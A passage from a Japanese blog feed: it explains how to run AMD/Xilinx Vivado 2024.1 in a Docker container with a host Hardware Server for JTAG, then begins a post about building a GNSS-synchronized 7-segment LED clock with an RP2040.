ARG INSTALLER_BIN=FPGAs_AdaptiveSoCs_Unified_2024.1_0522_2023_Lin64.bin
COPY --chmod=755 $INSTALLER_BIN /installer.bin
RUN /installer.bin --keep --noexec --target /installer


FROM installer AS do-install
ARG INSTALLER_CONFIG=install_config.txt
ARG INSTALLER_AGREED_EULA=XilinxEULA,3rdPartyEULA
COPY auth_token_gen.exp /
COPY $INSTALLER_CONFIG /install_config.txt
COPY --chmod=755 $INSTALLER_BIN /installer.bin
RUN --mount=type=secret,target=/secret.txt,id=secret,required=true \
    expect -f /auth_token_gen.exp /installer/xsetup /secret.txt &amp;&amp; \
    /installer/xsetup -b Install -a &quot;$INSTALLER_AGREED_EULA&quot; -c /install_config.txt &amp;&amp; \
    rm -rf /opt/Xilinx/.xinstall /opt/Xilinx/Downloads /opt/Xilinx/xic


FROM base
COPY --from=do-install /opt/Xilinx /opt/Xilinx
COPY --chmod=755 entrypoint.sh /
ENTRYPOINT [&quot;/entrypoint.sh&quot;]
CMD [&quot;/bin/bash&quot;]
```

`FROM ubuntu:jammy AS base` が、続く build stage のベースになります。主に APT のパッケージを追加しています。コンテナ化の対象を Vivado だけに絞ると依存パッケージは随分と減ります。なお、念のためかいておくと `ubuntu:jammy` は Ubuntu 22.04 です。最近リリースされた Ubuntu 24.04 は Vivado がまだ公式にサポートしておらず、実際 `libtinfo5` などが提供されていません。当面は 22.04 を使うのが無難そうです。

`FROM base AS installer` はインストーラーを展開しています。インストーラーの展開は、後述する操作のため独立した build stage になっています。Web Installer は SFD Installer と比較して十分に小さいので、コンテナの中に `COPY` してもそんなに辛くありません。また `COPY --chmod=755` で、元ファイルのパーミッション関係なしに実行可能権限を付けています。UG973 の通り、インストーラーの展開には `--keep`, `--noexec` および展開先 `--target &lt;dir&gt;` を付けて実行しています。

`FROM installer AS do-install` で、`install_config.txt` に応じたインストールをしています。`xsetup -b AuthTokenGen` は Expect 経由で、そのあとは SFD Installer のときと同様に `xsetup -b Install` という感じです。最後に使わないファイルを消しています。`secret.txt` は [Build secrets](https://docs.docker.com/build/building/secrets/) の仕組みを使って渡しています。カレントディレクトリに `secret.txt` がある場合、`docker build` に `--secret id=secret,src=secret.txt` を渡します。

最後の記述が最終的なコンテナイメージを定義しています。`do-install` でインストール自体は完了していますが、展開したインストーラーなど不要なファイルが含まれています。イメージサイズを少しでも削減するため `base` から作り直しています。`ENTRYPOINT` の行が、前回の記事でも取り上げたホストとコンテナ内の UID を一致させる hack です。本記事でも後述します。

## `install_config.txt` も Docker 経由で

Batch Mode のインストールでは、インストール内容の詳細をテキストベースの設定ファイルで指示できます。前述した `Dockerfile` 中の `install_config.txt` がこれに相当します。また、このファイルのテンプレートは `xsetup -b ConfigGen` で生成できます。

前回の記事でもそうしているように、拾ってきたバイナリはあまりそのまま実行したくないので、今回も Docker 経由で生成させます。せっかくなので、少し工夫してやります。

前のセクションで示したとおり、`Dockerfile` 中に、インストーラーを展開する build stage  `installer` があります。これを流用して、`xsetup -b ConfigGen` も実行します。今回は Vivado をインストールしたいので、`-p,--product`, `-e,--edition` にそれぞれ `Vivado`, `Vivado ML Standard` を指定します。また自分は `/opt` に入れたい派なので、`-l,--location` を `/opt/Xilinx` にしています。

```dockerfile
FROM installer AS do-configgen
ARG INSTALLER_PRODUCT=Vivado
ARG INSTALLER_EDITION=&quot;Vivado ML Standard&quot;
RUN /installer/xsetup -b ConfigGen -p &quot;$INSTALLER_PRODUCT&quot; -e &quot;$INSTALLER_EDITION&quot; -l /opt/Xilinx
```

`xsetup -b ConfigGen` は、生成したテンプレートを `~/.Xilinx/install_config.txt`、つまり今回の場合 `/root/.Xilinx/install_config.txt` に出力します。これをいい感じに取り出しましょう。`Dockerfile` に次の記述も追加します。これは `/install_config.txt` **のみ**が含まれるコンテナイメージを生成します。

```dockerfile
FROM scratch AS configgen
COPY --from=do-configgen /root/.Xilinx/install_config.txt /
```

そして次のコマンドを実行します。このコマンドは、上で定義したコンテナイメージを `docker run` などで実行可能な形式でロードするかわりに、コンテナを構成するファイルを `dest=` で指定したパス (`.` つまりカレントディレクトリ) に展開します。実行後、カレントディレクトリに `install_config.txt` が存在するのを確認できると思います[^earthly-like]。

    $ docker build --target configgen --output type=local,dest=. .

あとは必要に応じて編集します。自分は開発対象が Zynq UltraScale+ MPSoC のみであるため、ディスクスペース削減を狙ってそれ以外をすべて無効にしています。この場合、最終的なコンテナイメージのサイズは約 35 GB になりました。

```ini
#### Vivado ML Standard Install Configuration ####
Edition=Vivado ML Standard

Product=Vivado

# Path where AMD FPGAs &amp; Adaptive SoCs software will be installed.
Destination=/opt/Xilinx

# Choose the Products/Devices the you would like to install.
Modules=Virtex UltraScale+ HBM:0,Kintex UltraScale:0,Vitis Networking P4:0,Artix UltraScale+:0,Spartan-7:0,Artix-7:0,Virtex UltraScale+:0,Vitis Model Composer(Toolbox for MATLAB and Simulink. Includes the functionality of System Generator for DSP):0,DocNav:0,Zynq UltraScale+ MPSoC:1,Zynq-7000:0,Virtex UltraScale+ 58G:0,Power Design Manager (PDM):0,Vitis Embedded Development:0,Kintex-7:0,Install Devices for Kria SOMs and Starter Kits:0,Kintex UltraScale+:0

# Choose the post install scripts you&apos;d like to run as part of the finalization step. Please note that some of these scripts may require user interaction during runtime.
InstallOptions=

## Shortcuts and File associations ##
# Choose whether Start menu/Application menu shortcuts will be created or not.
CreateProgramGroupShortcuts=1

# Choose the name of the Start menu/Application menu shortcut. This setting will be ignored if you choose NOT to create shortcuts.
ProgramGroupFolder=Xilinx Design Tools

# Choose whether shortcuts will be created for All users or just the Current user. Shortcuts can be created for all users only if you run the installer as administrator.
CreateShortcutsForAllUsers=0

# Choose whether shortcuts will be created on the desktop or not.
CreateDesktopShortcuts=1

# Choose whether file associations will be created or not.
CreateFileAssociation=1

# Choose whether disk usage will be optimized (reduced) after installation
EnableDiskUsageOptimization=1
```

[^earthly-like]: [この記事](/blog/2022/09/19/earthly-zynqmp/) でも紹介した、個人的に推している build automation tool の Earthly ライクの処理が、こうして素の Docker でも実現できます。このワークフローは、`docker-bake.hcl` と組み合わせるとより強力になります。[moby/buildkit](https://github.com/moby/buildkit) など moby 関連のリポジトリなどを中心に採用されています。

## ホスト - コンテナの UID/GID 問題

ホストのディレクトリを bind mount するのを前提としたコンテナイメージを扱うとき、問題になるのがホストとコンテナ内環境の UID/GID の違いです。Docker の場合コンテナ内の環境は Docker daemon と同じになるので、多くの場合 `root` になります[^docker-user]。このためコンテナ内で作成したファイルの所有権が `root` になってしまったり、既存ファイルのパーミッションを意図せず破壊してしまうこともあり面倒です。加えて、今回のような X11 アプリケーションを閉じ込める場合にも、ホスト - コンテナ内でユーザーが異なるのが問題になります。

[^docker-user]: 設定次第ではその限りではありません。またコンテナイメージの構築方法次第では、実行時のユーザーを変更する設定がなされていることもあります。

前回の記事では、`Dockerfile` の `ENTRYPOINT` を設定して、コンテナ起動時にホストと UID を一致させるユーザーを動的に作成していました。細かいところを若干かえつつ、今回も同じアプローチを実装します。コンテナに仕組んでいる `entrypoint.sh` がこちらです。

```sh
#!/bin/sh

set -e

if [ -n &quot;$REUID&quot; ] &amp;&amp; [ -n &quot;$REGID&quot; ]; then
  groupadd --gid &quot;$REGID&quot; vivado
  useradd --shell /bin/bash --uid &quot;$REUID&quot; --gid vivado --create-home vivado
  if tty=&quot;$(tty)&quot;; then
    chown vivado &quot;$tty&quot;
  fi
  unset REUID REGID
  export HOME=~vivado
  exec setpriv --reuid=vivado --regid=vivado --init-groups &quot;$@&quot;
else
  exec &quot;$@&quot;
fi
```

前回使っていた `gosu` は、util-linux の [`setpriv(1)`](https://man.archlinux.org/man/setpriv.1.en) に置き換えました。また、`setpriv(1)` のオプション名に合わせて `$USER_ID` 相当の変数は `$REUID`, `$REGID` に変更しました。それ以外は概ね同じです。目的のコマンド実行前にホストと UID/GID の同じユーザーを作成し、そのユーザーに切り替えてコマンド実行、をやっています。

コンテナイメージ名が `vivado:v2024.1` であるとして、実行例をいくつか示すとこんな感じです。

    $ id
    uid=1000(cocoa) gid=1000(cocoa) groups=1000(cocoa), ...

    $ docker run --rm vivado:v2024.1 id
    uid=0(root) gid=0(root) groups=0(root)

    $ docker run --rm -e &quot;REUID=$UID&quot; -e &quot;REGID=$GID&quot; vivado:v2024.1 id
    uid=1000(vivado) gid=1000(vivado) groups=1000(vivado)

    $ docker run --rm -e REUID=1234 -e REGID=5678 vivado:v2024.1 id
    uid=1234(vivado) gid=5678(vivado) groups=5678(vivado)

## コンテナ化した Vivado を起動する

Web Installer `FPGAs_AdaptiveSoCs_Unified_2024.1_0522_2023_Lin64.bin`, `secret.txt`, `install_config.txt` が準備できているとして、以下のコマンドでコンテナイメージを作成します。正常に終了すると、作成したイメージが `vivado:v2024.1` で呼び出せるようになるはずです。

    $ docker build --secret id=secret,src=secret.txt -t vivado:v2024.1 .

さっそく実行してみます。環境変数名が一部変わっただけで、前回とだいたい同じです。ホストの X11 を使えるようにするため環境変数 `$DISPLAY` を渡すのと、`/tmp/.X11-unix` を共有してやります。あとは前述した hack のため環境変数 `$REUID`, `$REGID`、プロジェクトなど作業領域のため例として `~/work/localhost/vivado` を bind mount します。

    $ docker run -it --rm -e &quot;REUID=$UID&quot; -e &quot;REGID=$GID&quot; -e DISPLAY -v /tmp/.X11-unix:/tmp/.X11-unix:ro -v ~/work/localhost/vivado:/work vivado:v2024.1
    vivado@e71b14e66945:/$

あとは `settings64.sh` を `source` して… となるのですが、いくつか注意点です。

まずは `vivado` を実行するディレクトリについてです。Vivado は初期状態でカレントディレクトリに `*.jou`, `*.log`, `*.str` といったファイルを出力してきてやや困ります。せっかくコンテナを使っているので、もしこれらファイルが不要の場合は、`~/` などコンテナの中でのみ有効な場所に移動するとよいです。

実行環境によっては、開いた Vivado のウィンドウが真っ白 (灰色？) になる場合があります。この場合、環境変数 `_JAVA_AWT_WM_NONREPARENTING=1` で解決する場合があります。

コンテナという特殊な環境ゆえに起きてしまう問題があるようです。例えば Synthesis を実行しようとすると次のようなエラーで落ちてしまいます。AMD/Xilinx 公式の見解ではないと注意書きがあるものの [Workaround が存在します](https://support.xilinx.com/s/article/000034450?language=en_US)。環境変数 `LD_PRELOAD=/lib/x86_64-linux-gnu/libudev.so.1` で回避できるようです。

&lt;details&gt;

```
realloc(): invalid pointer
Abnormal program termination (6)
Please check &apos;/home/vivado/hs_err_pid61.log&apos; for details
vivado@d481b2905345:~$ cat /home/vivado/hs_err_pid61.log
#
# An unexpected error has occurred (6)
#
Stack:
/lib/x86_64-linux-gnu/libc.so.6(+0x42520) [0x720e2ac42520]
/lib/x86_64-linux-gnu/libc.so.6(pthread_kill+0x12c) [0x720e2ac969fc]
/lib/x86_64-linux-gnu/libc.so.6(raise+0x16) [0x720e2ac42476]
/lib/x86_64-linux-gnu/libc.so.6(abort+0xd3) [0x720e2ac287f3]
/lib/x86_64-linux-gnu/libc.so.6(+0x89676) [0x720e2ac89676]
/lib/x86_64-linux-gnu/libc.so.6(+0xa0cfc) [0x720e2aca0cfc]
/lib/x86_64-linux-gnu/libc.so.6(realloc+0x36c) [0x720e2aca5aac]
/lib/x86_64-linux-gnu/libudev.so.1(+0x15707) [0x720e1e7e9707]
/lib/x86_64-linux-gnu/libudev.so.1(+0x1bb1b) [0x720e1e7efb1b]
/lib/x86_64-linux-gnu/libudev.so.1(+0x75ff) [0x720e1e7db5ff]
/lib/x86_64-linux-gnu/libudev.so.1(+0x7b6b) [0x720e1e7dbb6b]
/lib/x86_64-linux-gnu/libudev.so.1(+0x10192) [0x720e1e7e4192]
/lib/x86_64-linux-gnu/libudev.so.1(+0x105d3) [0x720e1e7e45d3]
/lib/x86_64-linux-gnu/libudev.so.1(udev_enumerate_scan_devices+0x2a1) [0x720e1e7e5341]
/opt/Xilinx/Vivado/2024.1/lib/lnx64.o/libXil_lmgr11.so(+0x12e165) [0x720e2172e165]
/opt/Xilinx/Vivado/2024.1/lib/lnx64.o/libXil_lmgr11.so(xilinxd_52bd866351b78202+0x9) [0x720e2172e5e9]
/opt/Xilinx/Vivado/2024.1/lib/lnx64.o/libXil_lmgr11.so(+0xdb467) [0x720e216db467]
/opt/Xilinx/Vivado/2024.1/lib/lnx64.o/libXil_lmgr11.so(xilinxd_52bd862318b59a70+0x86) [0x720e216db226]
/opt/Xilinx/Vivado/2024.1/lib/lnx64.o/libXil_lmgr11.so(+0xc879f) [0x720e216c879f]
/opt/Xilinx/Vivado/2024.1/lib/lnx64.o/libXil_lmgr11.so(xilinxd_52bd9e9e1c8e52fb+0x1b) [0x720e216d253b]
/opt/Xilinx/Vivado/2024.1/lib/lnx64.o/libXil_lmgr11.so(xilinxd_52bd700d1bd3c616+0x30) [0x720e216d25d0]
/opt/Xilinx/Vivado/2024.1/lib/lnx64.o/librdi_commonxillic.so(XilReg::Utils::GetHostInfo[abi:cxx11](XilReg::Utils::HostInfoType, bool) const+0x1a0) [0x720e26a80110]
/opt/Xilinx/Vivado/2024.1/lib/lnx64.o/librdi_commonxillic.so(XilReg::Utils::GetHostInfoFormatted[abi:cxx11](XilReg::Utils::HostInfoType, bool) const+0x59) [0x720e26a834a9]
/opt/Xilinx/Vivado/2024.1/lib/lnx64.o/librdi_commonxillic.so(XilReg::Utils::GetHostInfo[abi:cxx11]() const+0x103) [0x720e26a83763]
/opt/Xilinx/Vivado/2024.1/lib/lnx64.o/librdi_commonxillic.so(XilReg::Utils::GetRegInfo(std::__cxx11::basic_string&lt;char, std::char_traits&lt;char&gt;, std::allocator&lt;char&gt; &gt; const&amp;, bool, bool)+0x96) [0x720e26a8a806]
/opt/Xilinx/Vivado/2024.1/lib/lnx64.o/librdi_commonxillic.so(XilReg::Utils::GetRegInfoWebTalk(std::__cxx11::basic_string&lt;char, std::char_traits&lt;char&gt;, std::allocator&lt;char&gt; &gt; const&amp;)+0x60) [0x720e26a8aa30]
/opt/Xilinx/Vivado/2024.1/lib/lnx64.o/librdi_project.so(HAPRWebtalkHelper::getRegistrationId[abi:cxx11]() const+0x3d) [0x720e03a2256d]
/opt/Xilinx/Vivado/2024.1/lib/lnx64.o/librdi_project.so(HAPRWebtalkHelper::HAPRWebtalkHelper(HAPRProject*, HAPRDesign*, HWEWebtalkMgr*, std::__cxx11::basic_string&lt;char, std::char_traits&lt;char&gt;, std::allocator&lt;char&gt; &gt; const&amp;)+0x178) [0x720e03a24c68]
/opt/Xilinx/Vivado/2024.1/lib/lnx64.o/librdi_tcltasks.so(+0x1e3b345) [0x720e1c43b345]
/opt/Xilinx/Vivado/2024.1/lib/lnx64.o/librdi_tcltasks.so(+0x1e44e97) [0x720e1c444e97]
/opt/Xilinx/Vivado/2024.1/lib/lnx64.o/librdi_common.so(+0xd85d9f) [0x720e2c985d9f]
/opt/Xilinx/Vivado/2024.1/lib/lnx64.o/libtcl8.6.so(TclNRRunCallbacks+0x47) [0x720e2b484497]
/opt/Xilinx/Vivado/2024.1/lib/lnx64.o/librdi_common.so(+0xd83693) [0x720e2c983693]
/opt/Xilinx/Vivado/2024.1/lib/lnx64.o/libtcl8.6.so(Tcl_ServiceEvent+0x7f) [0x720e2b5486df]
/opt/Xilinx/Vivado/2024.1/lib/lnx64.o/libtcl8.6.so(Tcl_DoOneEvent+0x149) [0x720e2b5489f9]
/opt/Xilinx/Vivado/2024.1/lib/lnx64.o/librdi_commontasks.so(+0x2bc9c7) [0x720e1ecbc9c7]
/opt/Xilinx/Vivado/2024.1/lib/lnx64.o/librdi_commontasks.so(+0x2c58fe) [0x720e1ecc58fe]
/opt/Xilinx/Vivado/2024.1/lib/lnx64.o/librdi_commontasks.so(+0x2c61df) [0x720e1ecc61df]
/opt/Xilinx/Vivado/2024.1/lib/lnx64.o/librdi_common.so(+0xd85d9f) [0x720e2c985d9f]
/opt/Xilinx/Vivado/2024.1/lib/lnx64.o/libtcl8.6.so(TclNRRunCallbacks+0x47) [0x720e2b484497]
/opt/Xilinx/Vivado/2024.1/lib/lnx64.o/librdi_commonmain.so(+0xe6d2) [0x720e2db7b6d2]
/opt/Xilinx/Vivado/2024.1/lib/lnx64.o/libtcl8.6.so(Tcl_MainEx+0x1a8) [0x720e2b543038]
/opt/Xilinx/Vivado/2024.1/lib/lnx64.o/librdi_common.so(+0xdaf42b) [0x720e2c9af42b]
/lib/x86_64-linux-gnu/libc.so.6(+0x94ac3) [0x720e2ac94ac3]
/lib/x86_64-linux-gnu/libc.so.6(clone+0x44) [0x720e2ad25a04]
```

&lt;/details&gt;

これらすべてをまとめるとこんな感じ。

    $ docker run -it --rm -e &quot;REUID=$UID&quot; -e &quot;REGID=$GID&quot; -e DISPLAY -v /tmp/.X11-unix:/tmp/.X11-unix:ro -v ~/work/localhost/vivado:/work vivado:v2024.1
    vivado@e71b14e66945:/$ cd
    vivado@e71b14e66945:~$ . /opt/Xilinx/Vivado/2024.1/settings64.sh
    vivado@e71b14e66945:~$ _JAVA_AWT_WM_NONREPARENTING=1 LD_PRELOAD=/lib/x86_64-linux-gnu/libudev.so.1 vivado

あるいはコマンド1発だとこんな感じ。

    $ docker run \
        -it \
        --rm \
        -e &quot;REUID=$UID&quot; \
        -e &quot;REGID=$GID&quot; \
        -e DISPLAY \
        -v /tmp/.X11-unix:/tmp/.X11-unix:ro \
        -v ~/work/localhost/vivado:/work \
        vivado:v2024.1 \
        /bin/bash -c &apos;cd &amp;&amp; . /opt/Xilinx/Vivado/2024.1/settings64.sh &amp;&amp; _JAVA_AWT_WM_NONREPARENTING=1 LD_PRELOAD=/lib/x86_64-linux-gnu/libudev.so.1 vivado&apos;

## Hardware Server を使う

前回の記事では、コンテナ内で動かした Vivado と実機を JTAG でつなぐために `--device` などを使って頑張っていました。この方式のデメリットは、USB-JTAG を抜き差しするなどして `--device` に渡したパスが消えたり変わった場合にコンテナごと起動しなおす必要があったことでした。

忘れがちですが、AMD/Xilinx のツールはいろんなものが client-server 方式になっています。ホストに最小限の AMD/Xilinx ツールチェインをインストールするのを許容できる場合、これを活用して問題をある程度解決できます。具体的にはホストに **Hardware Server** をインストール・実行し、コンテナ内の Vivado からそれにつないでやります。

早速インストールしていきます。これも、せっかくなのでコンテナイメージを作ったときのものを流用して Docker 経由でやってしまいましょう。インストーラーがホストの関係ないところまで触れる状態にあってほしくないので。まず `installer` build stage をコンテナイメージとしてロードします。

    $ docker build --target installer -t installer .

ホストの `/opt/Xilinx` を bind mount してコンテナを起動し、Hardware Server を Batch Mode でインストールします。Vitis や Vivado と比較すると非常に小さいのですぐに終わります。インストールが完了したらコンテナは終了します。作業後、ホストの環境に `/opt/xilinx/HWSRVR` が現れているはずです。

    $ docker run --rm -v /opt/xilinx:/opt/Xilinx -it installer
    root@b63451e812d3:/# /installer/xsetup -b AuthTokenGen
    root@b63451e812d3:/# /installer/xsetup -b Install -p &apos;Hardware Server&apos; -e &apos;Hardware Server (Standalone)&apos; -a XilinxEULA,3rdPartyEULA -l /opt/Xilinx

    $ ls /opt/xilinx/HWSRVR/
    2024.1/

USB-JTAG のパーミッション修正のための udev rules が設定されていない場合は設定します。`/opt/xilinx/HWSRVR/2024.1/data/xicom/cable_drivers/lin64/install_script/install_drivers/` の中にある `*.rules` ファイルを `/etc/udev/rules.d/` の中にコピーするか symlink を張ります。これで準備完了です。

    $ sudo cp /opt/xilinx/HWSRVR/2024.1/data/xicom/cable_drivers/lin64/install_script/install_drivers/*.rules /etc/udev/rules.d/

FPGA ボードと PC を USB-JTAG で接続します。FPGA ボードの電源を入れたら `hw_server` を起動します。

    $ /opt/xilinx/HWSRVR/2024.1/bin/hw_server

Vivado の Hardware Manager で &quot;Open New Target&quot; を選択します。

![](./vivado01.png)

開いたダイアログの &quot;Next&quot; をクリック。

![](./vivado02.png)

&quot;Connect to&quot; を &quot;Remote server&quot;、&quot;Host name&quot; にホストの IP アドレスを入力して &quot;Next&quot; をクリックします。今回は `docker0` インターフェイスに設定されていたアドレスを設定しました。

![](./vivado03.png)

正常に接続されると &quot;Hardware Targets&quot;, &quot;Hardware Devices&quot; に接続したデバイスが表示されるはずです。目的のものを選択して &quot;Next&quot; をクリックします。

![](./vivado04.png)

&quot;Finish&quot; をクリック。

![](./vivado05.png)

無事 FPGA ボードと接続されました。

![](./vivado06.png)

ちなみに Hardware Server には `hw_server` のほか、`xsdb` なども含まれています。インストールしておけば、JTAG 経由の bitstream やアプリケーションのロードもできて便利です。

## おわり

最近の状況を反映しつつ、改めて Vivado を Docker コンテナに閉じ込める方法を紹介しました。また、前回の課題だった FPGA ボードとの JTAG 接続について、Hardware Server を使う方法を紹介しました。一連のファイルは GitHub リポジトリ [Tosainu/docker-vivado][github-repo] にあります。

クセや制約の多いソフトウェアも、工夫すれば意外となんとかなるものです。開発環境やその上でのワークフローは自分が使いやすいようにして損じゃないのは FPGA も同じだと思います。いい感じに工夫して付き合っていきたいですね。

[github-repo]: https://github.com/Tosainu/docker-vivado
[github-repo-hash]: https://github.com/Tosainu/docker-vivado/tree/55d9fc239b194372087bd4841d4131c181fe6263</content:encoded></item><item><title>GNSS 同期の7セグ時計つくった</title><link>https://myon.info/blog/2025/08/03/gnss-7-seg-clock/</link><guid isPermaLink="true">https://myon.info/blog/2025/08/03/gnss-7-seg-clock/</guid><pubDate>Sun, 03 Aug 2025 00:00:00 GMT</pubDate><content:encoded>7セグメント LED を使ったデジタル時計を作りました。GNSS レシーバーを搭載していて、これで時刻を取得してくれます。KiCad プロジェクトとソフトウェアは [Tosainu/gnss-7-seg-clock](https://github.com/Tosainu/gnss-7-seg-clock) に置いています。

![](./DSC_8405.jpg)

&lt;div class=&quot;video-container&quot;&gt;&lt;iframe width=&quot;960&quot; height=&quot;540&quot; src=&quot;https://www.youtube-nocookie.com/embed/Y1P_iDvq4bk?si=hN1U6vSQ7WM-tLqw&amp;rel=0&quot; title=&quot;YouTube video player&quot; frameborder=&quot;0&quot; allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; allowfullscreen&gt;&lt;/iframe&gt;&lt;/div&gt;

このプロジェクトは、自分にとってはほぼ初めてのメカ・回路・ソフト全部やるプロジェクトでもありました。組み上がりからそこそこ経ちいまさら感ありますが、ついったに書くほどでもなかったこまごまとしたことを、特に回路・基板に関すること中心に紹介していきます。

## モチベーション

ここ何年かの自分の目標として、(ある程度簡単な) 基板は自分で設計&amp;発注できるようにしたいというのがありました。

基板を設計して安価な製造業者に発注、というのは近年の電子工作であたりまえのスキルになりつつあると感じています。昔から電子工作に触れてきた身として、また組み込みシステムに関わるソフト開発者として、自分も基板設計はそろそろ身に付けておきたいとスキルだなと思っていました。また、最近は表面実装向けパッケージしかないパーツが増え、マイコンや FPGA の周辺回路として気になる IC を見つけてもユニバーサル基板とかじゃ厳しいなぁ…となるのも基板作れるといいなと感じる要因でした。度重なる挫折を経て昨年秋にようやく[ごく簡単な基板を作成](https://github.com/Tosainu/milkv-duo-iob)し、今度はもう少し複雑なものを作ってみようと画策していたところでした。

基板設計を身につけたいことに加えて、はんだ付け練習の機会を作りたいというのもありました。自分はもともとはんだ付けは得意な方だと思っていました。しかし、はじめて使う無鉛はんだや、ひょんなことから発生した M0603 チップ部品やピッチの狭い QFN パッケージのはんだ付けに苦戦し、ここ数年しばらく自信を無くしていました。もし基板から何か作るのであれば、表面実装パーツを優先的に採用し、ついでに練習しようと考えていました。

そんな中で電波時計とは別の方法で時間合わせする時計が欲しいなーというのと、GNSS モジュールを使った工作を見る機会があり刺激を受け「そうだ時計をつくろう、GNSS に同期するやつ」となったのでした。

&lt;blockquote class=&quot;twitter-tweet&quot; data-dnt=&quot;true&quot;&gt;&lt;p lang=&quot;ja&quot; dir=&quot;ltr&quot;&gt;GNSS レシーバーのせた卓上時計を作りたい気がしてきた&lt;/p&gt;&amp;mdash; ✧*。ヾ(｡ᐳ﹏ᐸ｡)ﾉﾞ。*✧ (@myon___) &lt;a href=&quot;https://twitter.com/myon___/status/1876953547507454245?ref_src=twsrc%5Etfw&quot;&gt;January 8, 2025&lt;/a&gt;&lt;/blockquote&gt; &lt;script async src=&quot;https://platform.twitter.com/widgets.js&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt;

## 回路・基板設計

### 設計から基板発注まで

先行事例は何かないかなと「diy digital clock」などで調べていたところ、[Kello version 4](http://kair.us/projects/clock/v4/index.html) という作品を見つけました。これにインスパイアされて「GNSS で時刻合わせする7セグ6桁表示の時計」とコンセプトを定めました。そこから基板やパーツ発注までは次の流れで進めました。

1. 主要パーツの選定
2. 各主要パーツの周辺回路検討
3. 基板にパーツを仮配置　
4. RP2040 のピンアサイン決定
5. 回路・基板レイアウトの微調整

最初に回路を構成する主要なパーツ、7セグメント LED・マイコン・GNSS モジュールについて、できるだけ具体的な型番まで決めました。

- 1.5&quot; サイズの7セグメント LED
- [Raspberry Pi RP2040][RP2040]
- [u-blox MAX-M10S][MAX-M10S]

7セグメント LED は、6つ並べたときの大きさ (おおよその完成サイズ) と USB の5V 駆動を見据えた順方向電圧から 1.5&quot; サイズとしました。RP2040 は Rust を使った開発体験含めて最近気に入っていることのほか、0.2mm ピッチの QFN56 で手はんだがなかなかの難易度だとのウワサでぜひ挑戦したいと採用しました。GNSS モジュールは、時刻情報取得だけに使うにはややオーバーキルで高価な気もしましたが MAX-M10S にしました。手はんだできるパッケージで入手性も悪くないこと、そしてやっぱり最新世代のものを使いたいよねということで。

次に、上であげた各パーツの周辺回路をざっくりと決めました。この段階で、パーツのパッケージサイズもだいたい確定させました。チップ部品は原則 M1005 縛りでいこうと決めたのもこのあたりです。そして、基板全体に必要なパーツがだいたい明らかになったところで一旦基板のレイアウト設計に移り、パーツを仮配置しました。

だいたいの基板サイズやパーツ配置が形になってきたところで、配線のしやすさなども考慮しながら RP2040 のピンアサインを含む回路の細部や基板レイアウトをあーでもないこーでもないと仕上げていきました。ここが一番時間がかかった気がします。細かいところが気になり、作業のやめ時を見失って何度も「気づいたら朝」をやっていました。慣れてきたらもう少しスパッと描けるようになったりするんですかね。

最終的に発注するパーツの決定は、上記設計プロセスのかなり後段で行いました。結果としてこれはあまりよいアイデアとはいえず、今後の開発に向けた反省点となりました。今回はパーツを DigiKey にまとめて発注したいと考えていました。しかし、大雑把なパーツ選定のまま基板レイアウトを細かいところまで描き進めてしまった結果、いざ発注のことを考え始めたフェーズで在庫がないパーツなどが見つかってしまいました。代替品を探したり、それに伴う回路・基板レイアウト変更が発生し、より時間をかけてしまうことになりました。

ちなみに回路図は[これ](./sch.pdf)、基板が[これ](./pcb.pdf)、そして1台あたりに必要なパーツはこんな感じになりました。

| Reference | Value | Parts | Qty |
| --- | --- | --- | --: |
| `C1`, `C2`, `C4-C10`, `C14`, `C17-C19` | MLCC, 0.1uF, 10%, 6.3V, X5R, M1005 | | 13 |
| `C3`, `C11` | MLCC, 1uF, 20%, 6.3V, X5R, M1005 | | 2 |
| `C12`, `C13` | MLCC, 10uF, 10%, 6.3V, X7R, M2012 | | 2 |
| `C15`, `C16` | MLCC, 15pF, 5%, 50V, C0G/NP0, M1005 | | 2 |
| `C20` | MLCC, 10000pF, 10%, 16V, X7R, M1005 | | 1 |
| `C21` | MLCC, 47pF, 5%, 50V, C0G/NP0, M1005 | | 1 |
| `D1` | Bidirectional TVS, M1005 | [Littelfuse PESD0402-140][PESD0402-140] | 1 |
| `D2-D7` | LED, M1005 | | 6 |
| `J1` | USB-C Receptacle | [GCT USB4105-GF-A](https://gct.co/connector/usb4105) | 1 |
| `J2` | SMA Receptacle, Edge Mount | [Molex 732511153][732511153] | 1 |
| `J3` | Pin header, 01x03, P2.54 mm | | 1 |
| `L1` | Inductor, 27nH, 5%, M1005 | [Murata LQG15HS27NJ02D][LQG15HS27NJ02D] | 1 |
| `R1-R3` | Resistor, 2.2kOhm, 1%, 1/16W, M1005 | | 3 |
| `R4`, `R5`, `R12`, `R14-R16` | Resistor, 10kOhm, 1%, 1/16W, M1005 | | 6 |
| `R6`, `R7` | Resistor, 5.1kOhm, 1%, 1/16W, M1005 | | 2 |
| `R8`, `R9` | Resistor, 27Ohm, 1%, 1/16W, M1005 | | 2 |
| `R10`, `R13` | Resistor, 1kOhm, 1%, 1/16W, M1005 | | 2 |
| `R11` | Resistor, 10Ohm, 5%, 1/4W, M1005 | | 1 |
| `R17-R22` | Resistor, 470Ohm, 1%, 1/16W, M1005 | | 6 |
| `SW1-SW5` | Tactile Switch | [C&amp;K PTS810][PTS810] | 5 |
| `U1-U6` | 7-segment LED, Common-Anode, 3.81 mm | | 6 |
| `U7-U9` | 16-ch LED sink driver, SOIC-24W | [TI TLC5925IDWR][TLC5925IDWR] | 3 |
| `U10` | MCU | [Raspberry Pi RP2040][RP2040] | 1 |
| `U11` | LDO, 3.3V, 500 mA, SOT-23-5 | [TI TLV75533PDBVR][TLV75533PDBVR] | 1 |
| `U12` | SQPI NOR Flash, 32M-bit, SOIC-8 | [Winbond W25Q32JVSS][W25Q32JV] | 1 |
| `U13` | GNSS Receiver | [u-blox MAX-M10S][MAX-M10S] | 1 |
| `Y1` | Crystal, 12MHz | [Abracon ABM8-272-T3][ABM8-272-T3] | 1 |
| | GNSS Active Antenna | [u-blox ANN-MB5][ANN-MB5] | 1 |

### 7セグどうやって制御するか問題

7セグメント LED の多くは数字部分を構成する7つ (A…G) と右下のドット (dp) の8ブロックの LED を持ち、アノードまたはカソードを束ねて出した2ピンと個々の LED につながる8ピンとなっています。つまり6桁表示の場合、8 x 6 = 48 個の LED を光らせるのと同じです。当然 RP2040 に48個も GPIO はないので、なんらかの工夫が必要です。

![](./lsd150bag-101.svg)

